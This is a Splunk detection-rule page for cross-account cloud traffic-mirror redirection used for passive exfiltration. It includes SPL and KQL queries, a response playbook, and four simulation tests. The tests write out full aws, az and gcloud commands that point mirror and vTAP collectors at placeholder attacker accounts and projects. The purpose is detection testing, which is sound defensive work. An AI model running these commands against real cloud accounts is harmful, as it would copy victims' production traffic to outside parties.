THREAT-CloudTrafficMirroring-Exfil Splunk · SPL

Detect Cross-Account/Cross-Tenant Cloud Traffic Mirror Target Redirection for Passive Exfiltration in Splunk

The base T1020.001 technique detection alerts on any creation, modification, or deletion of an AWS Traffic Mirroring, Azure Virtual Network TAP, or GCP Packet Mirroring resource — a necessarily broad signal that fires just as often on legitimate NDR/IDS sensor deployments as it does on adversary activity, since the API calls themselves are identical in both cases. THREAT-NetworkTap-RogueSPANExfil.json separately covers the on-premises SPAN/RSPAN/ERSPAN control-plane equivalent for physical network devices. This scenario targets a materially different and higher-fidelity signal that neither file covers: the account, subscription, or project boundary that the mirrored traffic crosses to reach its collector. All three cloud providers support pointing a traffic mirror/vTAP/packet-mirroring destination at a collector that lives in a different AWS account, Azure subscription, or GCP project than the one being mirrored — a legitimate pattern for centralized security-tooling accounts reached over Transit Gateway, VPC peering, or Shared VPC, but also the exact mechanism an adversary with compromised cloud credentials would use to redirect duplicated production traffic to infrastructure they own outside the victim's security boundary, where it is invisible to the victim's own logging, IAM, and network controls once the copy leaves the account. A cross-account/cross-project mirror target is not inherently malicious (it is how MDR and NDR vendors are legitimately onboarded), so this scenario correlates it with the second-order signal that made it possible: a newly established cross-account network path (VPC peering acceptance, Transit Gateway attachment, AWS RAM resource share, or a first-seen destination subscription/project for a given source) created shortly before the mirror session — a pairing that is rare for sanctioned architectures (provisioned once, well in advance, via IaC) but characteristic of an attacker standing up exfiltration infrastructure end-to-end in a single compromised session.

MITRE ATT&CK

Tactic
Exfiltration

SPL Detection Query

Splunk (SPL)
spl 
index=aws_cloudtrail sourcetype="aws:cloudtrail" eventName IN ("CreateTrafficMirrorTarget", "CreateTrafficMirrorSession")
| rex field=responseElements.trafficMirrorTarget.networkLoadBalancerArn "arn:aws:elasticloadbalancing:[a-z0-9-]+:(?<TargetAccountId>\d{12}):"
| where isnotnull(TargetAccountId) AND TargetAccountId!=recipientAccountId
| join type=inner recipientAccountId
  [ search index=aws_cloudtrail sourcetype="aws:cloudtrail" eventName IN ("AcceptVpcPeeringConnection", "CreateTransitGatewayVpcAttachment", "AcceptTransitGatewayVpcAttachment", "AssociateResourceShare")
    | eval ConnTime=_time, ConnEventName=eventName
    | fields recipientAccountId, ConnTime, ConnEventName ]
| where ConnTime < _time AND ConnTime > _time - 86400
| table _time, eventName, userIdentity.arn, sourceIPAddress, recipientAccountId, TargetAccountId, ConnTime, ConnEventName, awsRegion
| sort - _time
high severity medium confidence

SPL equivalent of the cross-account correlation: extracts the target account ID from the traffic mirror target's NLB ARN, filters for a mismatch against the calling account (recipientAccountId), then joins against a subsearch for VPC peering/Transit Gateway/RAM events in the same account within the preceding 24 hours. Field/index names assume the standard AWS CloudTrail Splunk Add-on ingestion; adjust to your actual sourcetype and index configuration.

Data Sources

AWS CloudTrail management events via Splunk Add-on for AWSAWS account/resource ownership inventory

Required Sourcetypes

aws:cloudtrail

False Positives & Tuning

  • Approved centralized security-tooling landing-zone architectures where mirror sessions intentionally target a shared-services account's NLB reached over Transit Gateway provisioned as part of account vending
  • Newly onboarded AWS accounts where Transit Gateway attachments and RAM shares to the security account are created as part of routine account-vending automation
  • Managed detection and response (MDR) or NDR vendor onboarding establishing VPC peering to a vendor-owned collector account under a signed data processing agreement
  • Disaster recovery failover testing that temporarily peers a DR account's VPC to replicate mirrored traffic for validation

Other platforms for THREAT-CloudTrafficMirroring-Exfil

Microsoft Sentinel (KQL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1AWS Cross-Account Traffic Mirror Target via Peered VPC

    Expected signal: AWS CloudTrail logs AcceptVpcPeeringConnection followed by CreateTrafficMirrorTarget and CreateTrafficMirrorSession events from the same userIdentity.arn within minutes, each with recipientAccountId set to the victim account and, for the mirror target event, a responseElements.trafficMirrorTarget.networkLoadBalancerArn containing the attacker account ID (999999999999).

  2. Test 2Azure vTAP Destination NIC in a Different Subscription

    Expected signal: Azure Activity Log records Microsoft.Network/virtualNetworkTaps/write with the destination field referencing a resource ID whose subscription GUID (ATTACKER_SUBSCRIPTION_ID) differs from the calling subscription, followed by Microsoft.Network/networkInterfaces/tapConfigurations/write for the source NIC attachment.

  3. Test 3GCP Packet Mirroring Collector in a Different Project via Shared VPC

    Expected signal: GCP Cloud Audit Log records a compute.packetMirrorings.insert method call in the victim-service-project's Admin Activity log, with the request body's collectorIlb self-link referencing attacker-project — a different project ID than either the calling project or the mirrored subnetwork's host project (victim-host-project).

  4. Test 4AWS RAM Resource Share Immediately Followed by Cross-Account Mirror Session

    Expected signal: AWS CloudTrail logs AssociateResourceShare (principal 999999999999) followed within minutes by CreateTrafficMirrorSession, both attributed to the same userIdentity.arn and recipientAccountId (123456789012).

Last updated: 2026-07-21 Research depth: deep
References (8)

Response Playbook

Triage

  1. Confirm the destination account/subscription/project ID resolved for the mirror target and check it against the organization's inventory of known, approved security-tooling and MDR/NDR vendor accounts.
  2. Identify the identity (IAM principal, service principal, or GCP service account) that created both the mirror target/session and the cross-account connectivity resource (peering, Transit Gateway attachment, or RAM share) — is it the same identity, and does it have a documented history of network provisioning work?
  3. Review the timing gap between the connectivity event and the mirror target creation. A gap of minutes-to-hours from a brand-new peering/attachment to a mirror session is far more suspicious than a mirror session added months after a long-standing, documented connection.
  4. Determine the scope of the mirror filter — is it capturing all traffic from a broad set of ENIs/subnets, or a narrowly scoped, previously-approved monitoring target?
  5. Check whether the destination account/subscription/project has any prior legitimate relationship with this environment (shared billing, same AWS Organization/Azure management group/GCP folder, existing Private Link/Shared VPC usage) versus appearing for the first time.
  6. Look for concurrent suspicious activity by the same identity in the same window — IAM policy changes, new access keys, disabling of CloudTrail/Activity Log delivery, or Security Hub/Defender for Cloud finding suppression, which would support an active-intrusion interpretation over a provisioning mistake.

Containment

  1. Delete the cross-account traffic mirror session/target, vTAP, or packet mirroring policy immediately: `aws ec2 delete-traffic-mirror-session --traffic-mirror-session-id <id>`, `az network vnet tap delete`, or `gcloud compute packet-mirrorings delete`.
  2. Revoke the specific cross-account network path that made exfiltration possible — delete the VPC peering connection, remove the Transit Gateway attachment, or disassociate the RAM resource share — rather than only removing the mirror resource, since the path itself is reusable.
  3. Disable or rotate the credentials of the identity that created the mirror target and the connectivity resource; assume both actions were performed with the same compromised credential set.
  4. Apply or tighten a Service Control Policy (AWS), Azure Policy, or GCP Organization Policy that restricts creation of cross-account/cross-subscription/cross-project mirror targets and cross-account VPC peering/Transit Gateway/RAM shares to a small, break-glass-audited set of network-admin roles.
  5. Preserve CloudTrail/Activity Log/Cloud Audit Log entries, the mirror target's resource metadata, and any VPC Flow Logs/NSG flow logs/VPC Flow Logs (GCP) covering the source ENIs before further remediation.
  6. If the destination account is external to the organization (not in AWS Organizations, an Azure management group, or a GCP folder the org controls), treat this as active exfiltration to attacker infrastructure and escalate immediately rather than waiting for full investigation.

Evidence Collection

  1. AWS CloudTrail: CreateTrafficMirrorTarget/CreateTrafficMirrorSession events plus AcceptVpcPeeringConnection, CreateTransitGatewayVpcAttachment, and AssociateResourceShare events for the same actor/account, including full requestParameters and responseElements.
  2. AWS Resource Access Manager (RAM) console/API: list of active resource shares and their invited/accepted principals, to confirm exactly which external account was granted access and when.
  3. Azure Activity Log entries for Microsoft.Network/virtualNetworkTaps/write alongside Microsoft.Network/virtualNetworkPeerings/write, with the destination NIC's full resource ID (to extract the destination subscription GUID).
  4. GCP Cloud Audit Log entries for compute.packetMirrorings.insert alongside compute.networks.addPeering or Shared VPC host-project attachment events, with the collector forwarding rule's project ID.
  5. VPC Flow Logs / NSG Flow Logs / GCP VPC Flow Logs for the mirrored source ENIs/NICs/subnets, to quantify actual traffic volume and duration once the cross-account path was live.
  6. IAM/Entra ID/Cloud IAM sign-in and API activity logs for the acting identity across the full session, to determine whether this was a single continuous compromised session or represents legitimate staged provisioning work.

Escalation Criteria

  • !The resolved destination account/subscription/project is not part of the organization's AWS Organization, Azure management group, or GCP folder hierarchy, and has no documented vendor relationship — this is near-certain active exfiltration.
  • !The cross-account connectivity resource (peering, Transit Gateway attachment, RAM share) was created by the same identity within minutes to hours of the mirror target, with no corresponding change ticket.
  • !The mirror filter scope is unrestricted (all traffic, all ports/protocols) rather than a narrow, documented monitoring scope.
  • !Concurrent indicators of credential compromise or privilege escalation by the same identity — new access keys, MFA changes, unusual sign-in geography, or Security Hub/Defender for Cloud/SCC finding suppression.
  • !VPC Flow Logs confirm sustained traffic (hours to days) already flowing across the cross-account path before detection, indicating established exfiltration rather than a caught-in-progress configuration.
  • !The same pattern (cross-account mirror target following new cross-account connectivity) is observed across multiple accounts/subscriptions/projects in the same organization, suggesting a broader campaign rather than an isolated misconfiguration.

Investigation Guide

Related Techniques

T1020.001 — Traffic Duplication (parent technique)T1020 — Automated ExfiltrationT1567 — Exfiltration Over Web Service (an alternative path once traffic is copied to attacker infrastructure)T1040 — Network Sniffing (the mirrored traffic copy enables passive credential/session sniffing at the destination)T1557 — Adversary-in-the-Middle (a related but distinct capability that redirects rather than copies traffic)T1078.004 — Valid Accounts: Cloud Accounts (compromised cloud identity used to provision both the mirror target and the cross-account network path)T1526 — Cloud Service Discovery (enumeration of peering/Transit Gateway/RAM relationships often precedes selecting a viable cross-account path)T1098.001 — Additional Cloud Credentials (RAM shares and cross-account roles can also be abused as a persistence mechanism alongside exfiltration)

Forensic Artifacts

  • >AWS CloudTrail: CreateTrafficMirrorTarget/CreateTrafficMirrorSession requestParameters showing the target NLB/GWLB endpoint ARN, and its embedded account ID
  • >AWS RAM: ListResourceShares / GetResourceShareInvitations showing which external principal was granted access to a shared Transit Gateway or subnet, and the acceptance timestamp
  • >AWS VPC: DescribeVpcPeeringConnections showing the accepter/requester account IDs and acceptance status for any peering used as the exfiltration path
  • >Azure Activity Log: Microsoft.Network/virtualNetworkTaps/write requestBody showing the destination NIC's full ARM resource ID, from which the destination subscription GUID can be extracted
  • >GCP Cloud Audit Log: compute.packetMirrorings.insert request body showing the collectorIlb forwarding rule's full self-link, from which the collector's project ID can be extracted and compared to the mirrored subnetwork's project
  • >VPC Flow Logs / NSG Flow Logs showing VXLAN (UDP 4789) or Gateway Load Balancer (GENEVE, UDP 6081) traffic from source ENIs to the cross-account destination

Tuning Guidance

Maintain an authoritative allowlist of every approved cross-account/cross-subscription/cross-project mirror relationship — the destination account/subscription/project ID paired with the source account and the business justification (MDR vendor name, internal security-tooling account, DR replication) — sourced from your cloud landing-zone or network architecture documentation. Score any cross-account mirror target that resolves to an account/subscription/project outside that allowlist as high-confidence regardless of whether the connectivity-correlation signal also fired, since a first-seen destination boundary is itself a strong indicator. The connectivity-correlation logic (new peering/Transit Gateway/RAM share immediately preceding a mirror target) is the highest-value refinement for accounts that ARE on the allowlist but where a legitimate vendor relationship is being abused via a second, unauthorized mirror session — the timing gap between provisioning and first use is what separates planned IaC-driven onboarding from an attacker improvising end-to-end in one session. Where AWS Organizations SCPs, Azure Policy, or GCP Organization Policy support it, prefer a preventive control that blocks creation of cross-boundary mirror targets outside the allowlist entirely, and treat detection as the fallback for accounts where that policy cannot yet be enforced (e.g., legacy or recently acquired subsidiaries).

Hunting Queries

Builds a 30-day inventory of every AWS Traffic Mirror Target creation flagged as cross-account, grouped by actor and account. Use this to establish the baseline of known, approved cross-account mirror relationships (security-tooling and MDR/NDR vendor accounts) and quickly spot new actors or new destination accounts that fall outside it.

Hunting — KQL
kql 
// Hunt for all AWS Traffic Mirror Target creations over 30d and flag any whose target ARN account differs from the calling account
AWSCloudTrail
| where TimeGenerated > ago(30d)
| where EventName == "CreateTrafficMirrorTarget"
| extend TargetArn = tostring(ResponseElements.trafficMirrorTarget.networkLoadBalancerArn)
| extend TargetAccountId = extract(@"arn:aws:elasticloadbalancing:[a-z0-9-]+:(\d{12}):", 1, TargetArn)
| extend IsCrossAccount = iff(isnotempty(TargetAccountId) and TargetAccountId != RecipientAccountId, true, false)
| summarize Count=count(), CrossAccountCount=countif(IsCrossAccount), Targets=make_set(TargetArn, 20) by UserIdentityArn, RecipientAccountId
| where CrossAccountCount > 0
| sort by CrossAccountCount desc
Hunting — SPL
spl 
index=aws_cloudtrail sourcetype="aws:cloudtrail" eventName="CreateTrafficMirrorTarget"
| rex field=responseElements.trafficMirrorTarget.networkLoadBalancerArn "arn:aws:elasticloadbalancing:[a-z0-9-]+:(?<TargetAccountId>\d{12}):"
| eval IsCrossAccount=if(isnotnull(TargetAccountId) AND TargetAccountId!=recipientAccountId, 1, 0)
| stats count as Count, sum(IsCrossAccount) as CrossAccountCount, values(responseElements.trafficMirrorTarget.networkLoadBalancerArn) as Targets by userIdentity.arn, recipientAccountId
| where CrossAccountCount>0
| sort - CrossAccountCount

Hunts across a 90-day window for accounts where a new cross-account connectivity resource (peering, Transit Gateway attachment, or RAM share) was followed within 7 days by any traffic mirroring activity in that same account. This wider, less-strict version of the primary detection surfaces slower-moving campaigns that establish connectivity and mirroring as separate steps rather than in immediate succession.

Hunting — KQL
kql 
// Hunt for first-seen cross-account VPC peering or Transit Gateway attachment followed within 7d by any traffic mirror activity in the same account
AWSCloudTrail
| where TimeGenerated > ago(90d)
| where EventName in ("AcceptVpcPeeringConnection", "CreateTransitGatewayVpcAttachment", "AssociateResourceShare")
| summarize FirstSeen=min(TimeGenerated) by RecipientAccountId, EventName
| join kind=inner (
    AWSCloudTrail
    | where TimeGenerated > ago(90d)
    | where EventName has "TrafficMirror"
    | project MirrorTime = TimeGenerated, RecipientAccountId, MirrorEvent = EventName
  ) on RecipientAccountId
| where MirrorTime > FirstSeen and MirrorTime < FirstSeen + 7d
| project RecipientAccountId, EventName, FirstSeen, MirrorEvent, MirrorTime
| sort by MirrorTime desc
Hunting — SPL
spl 
index=aws_cloudtrail sourcetype="aws:cloudtrail" eventName IN ("AcceptVpcPeeringConnection", "CreateTransitGatewayVpcAttachment", "AssociateResourceShare")
| stats earliest(_time) as FirstSeen by recipientAccountId, eventName
| join type=inner recipientAccountId
  [ search index=aws_cloudtrail sourcetype="aws:cloudtrail" eventName="*TrafficMirror*"
    | eval MirrorTime=_time, MirrorEvent=eventName
    | fields recipientAccountId, MirrorTime, MirrorEvent ]
| where MirrorTime>FirstSeen AND MirrorTime<FirstSeen+604800
| table recipientAccountId, eventName, FirstSeen, MirrorEvent, MirrorTime
| sort - MirrorTime

Atomic Red Team Tests

Test 1 AWS Cross-Account Traffic Mirror Target via Peered VPC
linux

Simulates an adversary who has compromised credentials in a victim AWS account, accepts a VPC peering connection from an external (attacker-controlled) account, and creates a Traffic Mirror Target pointing at a Network Load Balancer in that peered account. Requires two AWS accounts and valid credentials with ec2:AcceptVpcPeeringConnection and ec2:CreateTrafficMirrorTarget permissions (substitute real IDs/ARNs for testing).

Command

bash 
# Step 1 (in victim account): accept a pending VPC peering connection initiated from the attacker-controlled account
aws ec2 accept-vpc-peering-connection --vpc-peering-connection-id pcx-ATTACKER_PEERING_ID --region us-east-1

# Step 2 (in victim account): create a traffic mirror target pointing at an NLB ARN belonging to the peered, attacker-controlled account
aws ec2 create-traffic-mirror-target --network-load-balancer-arn arn:aws:elasticloadbalancing:us-east-1:999999999999:loadbalancer/net/attacker-collector/abc123 --description 'Cross-account test target' --region us-east-1

# Step 3 (in victim account): create a mirror session sourcing traffic from a production ENI to the cross-account target
TARGET_ID=$(aws ec2 describe-traffic-mirror-targets --region us-east-1 --query 'TrafficMirrorTargets[0].TrafficMirrorTargetId' --output text)
aws ec2 create-traffic-mirror-session --network-interface-id eni-SOURCE_ENI_ID --traffic-mirror-target-id $TARGET_ID --session-number 1 --description 'Cross-account exfil test session' --region us-east-1

Cleanup

bash 
SESSION_ID=$(aws ec2 describe-traffic-mirror-sessions --region us-east-1 --query 'TrafficMirrorSessions[?Description==`Cross-account exfil test session`].TrafficMirrorSessionId' --output text)
aws ec2 delete-traffic-mirror-session --traffic-mirror-session-id $SESSION_ID --region us-east-1
aws ec2 delete-traffic-mirror-target --traffic-mirror-target-id $TARGET_ID --region us-east-1
aws ec2 delete-vpc-peering-connection --vpc-peering-connection-id pcx-ATTACKER_PEERING_ID --region us-east-1

Expected Telemetry

AWS CloudTrail logs AcceptVpcPeeringConnection followed by CreateTrafficMirrorTarget and CreateTrafficMirrorSession events from the same userIdentity.arn within minutes, each with recipientAccountId set to the victim account and, for the mirror target event, a responseElements.trafficMirrorTarget.networkLoadBalancerArn containing the attacker account ID (999999999999).

Expected Detection

KQL/SPL cross-account correlation fires: the extracted TargetAccountId (999999999999) does not match RecipientAccountId, and the AcceptVpcPeeringConnection event falls within the 24-hour lookback window before the mirror target creation. Analyst should treat the peered account as untrusted pending verification.

Test 2 Azure vTAP Destination NIC in a Different Subscription
linux

Simulates an adversary with Network Contributor rights in a victim subscription creating a Virtual Network TAP whose destination NIC IP configuration resides in a different, attacker-controlled Azure subscription reached via VNet peering. Requires Azure CLI access across two subscriptions and an existing peered VNet.

Command

bash 
# Step 1: create the vTAP resource in the victim subscription
az network vnet tap create \
  --resource-group victim-rg \
  --name cross-sub-vtap-test \
  --location eastus \
  --destination /subscriptions/ATTACKER_SUBSCRIPTION_ID/resourceGroups/attacker-rg/providers/Microsoft.Network/networkInterfaces/collector-nic/ipConfigurations/ipconfig1 \
  --port 4789

# Step 2: attach the tap configuration to the source NIC in the victim subscription
az network nic vtap-config create \
  --resource-group victim-rg \
  --nic-name production-nic \
  --name cross-sub-tap-config \
  --vnet-tap cross-sub-vtap-test

Cleanup

bash 
az network nic vtap-config delete --resource-group victim-rg --nic-name production-nic --name cross-sub-tap-config --yes
az network vnet tap delete --resource-group victim-rg --name cross-sub-vtap-test --yes

Expected Telemetry

Azure Activity Log records Microsoft.Network/virtualNetworkTaps/write with the destination field referencing a resource ID whose subscription GUID (ATTACKER_SUBSCRIPTION_ID) differs from the calling subscription, followed by Microsoft.Network/networkInterfaces/tapConfigurations/write for the source NIC attachment.

Expected Detection

elastic_eql cross-subscription rule fires when the ingestion pipeline's parsed destination.cloud.account.id (attacker subscription) does not equal source.cloud.account.id (victim subscription) for the virtualNetworkTaps/write event. Analyst should verify whether ATTACKER_SUBSCRIPTION_ID belongs to a known security-tooling or MDR vendor tenant.

Test 3 GCP Packet Mirroring Collector in a Different Project via Shared VPC
linux

Simulates an adversary with compute.packetMirrorings.create permissions in a Shared VPC service project configuring a packet mirroring policy whose collector forwarding rule lives in a different (attacker-controlled) project than the mirrored subnetwork's owning project.

Command

bash 
# Step 1: create the packet mirroring policy in the victim (service) project, pointing at a collector ILB in a different project
gcloud compute packet-mirrorings create cross-project-mirror-test \
  --project=victim-service-project \
  --region=us-central1 \
  --network=projects/victim-host-project/global/networks/shared-vpc \
  --collector-ilb=projects/attacker-project/regions/us-central1/forwardingRules/attacker-collector-ilb \
  --mirrored-subnets=projects/victim-host-project/regions/us-central1/subnetworks/prod-subnet \
  --description='Cross-project mirror test'

# Verify creation
gcloud compute packet-mirrorings describe cross-project-mirror-test --project=victim-service-project --region=us-central1

Cleanup

bash 
gcloud compute packet-mirrorings delete cross-project-mirror-test --project=victim-service-project --region=us-central1 --quiet

Expected Telemetry

GCP Cloud Audit Log records a compute.packetMirrorings.insert method call in the victim-service-project's Admin Activity log, with the request body's collectorIlb self-link referencing attacker-project — a different project ID than either the calling project or the mirrored subnetwork's host project (victim-host-project).

Expected Detection

qradar_aql cross-project rule fires when the parsed 'Collector Forwarding Rule Project ID' (attacker-project) does not match the 'Mirrored Subnetwork Project ID' (victim-host-project). Analyst should confirm whether attacker-project is a documented, approved security-tooling project under the same GCP organization/folder.

Test 4 AWS RAM Resource Share Immediately Followed by Cross-Account Mirror Session
linux

Simulates the connectivity-correlation pattern directly: an adversary associates a Transit Gateway resource share via AWS RAM with an external account, then within minutes creates a traffic mirror session sourcing production traffic toward a target reachable over that newly shared Transit Gateway — the tight timing gap between provisioning and use is the key discriminator from legitimate, IaC-provisioned vendor onboarding.

Command

bash 
# Step 1: associate an external (attacker) account with a Transit Gateway RAM resource share
aws ram associate-resource-share --resource-share-arn arn:aws:ram:us-east-1:123456789012:resource-share/test-tgw-share --principals 999999999999 --region us-east-1

# Step 2 (moments later): create a mirror session using a target reachable via the newly shared Transit Gateway attachment
TARGET_ID=$(aws ec2 describe-traffic-mirror-targets --region us-east-1 --query 'TrafficMirrorTargets[0].TrafficMirrorTargetId' --output text)
aws ec2 create-traffic-mirror-session --network-interface-id eni-SOURCE_ENI_ID --traffic-mirror-target-id $TARGET_ID --session-number 2 --description 'RAM-share-timed exfil test session' --region us-east-1

Cleanup

bash 
SESSION_ID=$(aws ec2 describe-traffic-mirror-sessions --region us-east-1 --query 'TrafficMirrorSessions[?Description==`RAM-share-timed exfil test session`].TrafficMirrorSessionId' --output text)
aws ec2 delete-traffic-mirror-session --traffic-mirror-session-id $SESSION_ID --region us-east-1
aws ram disassociate-resource-share --resource-share-arn arn:aws:ram:us-east-1:123456789012:resource-share/test-tgw-share --principals 999999999999 --region us-east-1

Expected Telemetry

AWS CloudTrail logs AssociateResourceShare (principal 999999999999) followed within minutes by CreateTrafficMirrorSession, both attributed to the same userIdentity.arn and recipientAccountId (123456789012).

Expected Detection

KQL/SPL AwsCrossAccountConnectivity join fires: ConnEventName=AssociateResourceShare with ConnTime falling well inside the 24-hour window immediately before the mirror session's TimeGenerated, producing a high-confidence correlated alert distinct from either event fired alone.

Related Detections

Tactic Hub

TA0010Exfiltration

Detection Variants (1)

Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.

Parent Technique

T1020.001Traffic Duplication

Related Techniques

T1020.001Traffic DuplicationT1020Automated ExfiltrationT1567Exfiltration Over Web ServiceT1040Network SniffingT1557Adversary-in-the-MiddleT1078.004Cloud AccountsT1526Cloud Service DiscoveryT1098.001Additional Cloud Credentials

Same Tactic: Exfiltration

Popular Detections